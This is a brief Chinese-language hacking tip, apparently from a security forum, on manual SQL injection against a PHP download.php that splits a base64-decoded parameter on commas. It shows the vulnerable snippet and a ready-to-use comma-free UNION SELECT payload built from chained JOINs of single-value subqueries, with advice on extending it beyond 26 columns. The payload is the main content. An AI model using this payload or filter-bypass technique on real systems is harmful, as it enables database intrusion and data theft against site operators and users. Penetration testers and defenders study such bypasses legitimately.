手工注入技巧 不用逗号进行UNION

Author:toby57

./download.php

...
if($link){    //加密后ID
$link = base64_decode(urldecode($link));
$link_array = explode(',', $link);     
if(is_array($link_array) && count($link_array)>0){
$url = $link_array[0];
  $contentid = $link_array[1];
}
}else{    //实现地址
$contentid = $_GET['contentid'] ? $_GET['contentid'] : $_GET['id'];
}
...
这种以逗号为分隔符的情况要想使用UNION查询不能使用常规方式。
构造contentid为' UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT 9)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)m JOIN (SELECT 14)n JOIN (SELECT 15)o JOIN (SELECT 16)p JOIN (SELECT 17)q JOIN (SELECT 18)r JOIN (SELECT 19)s)#
这样就避免了逗号的出现。

若超过26个字段 用aa bb cc 这样的继续向后面加。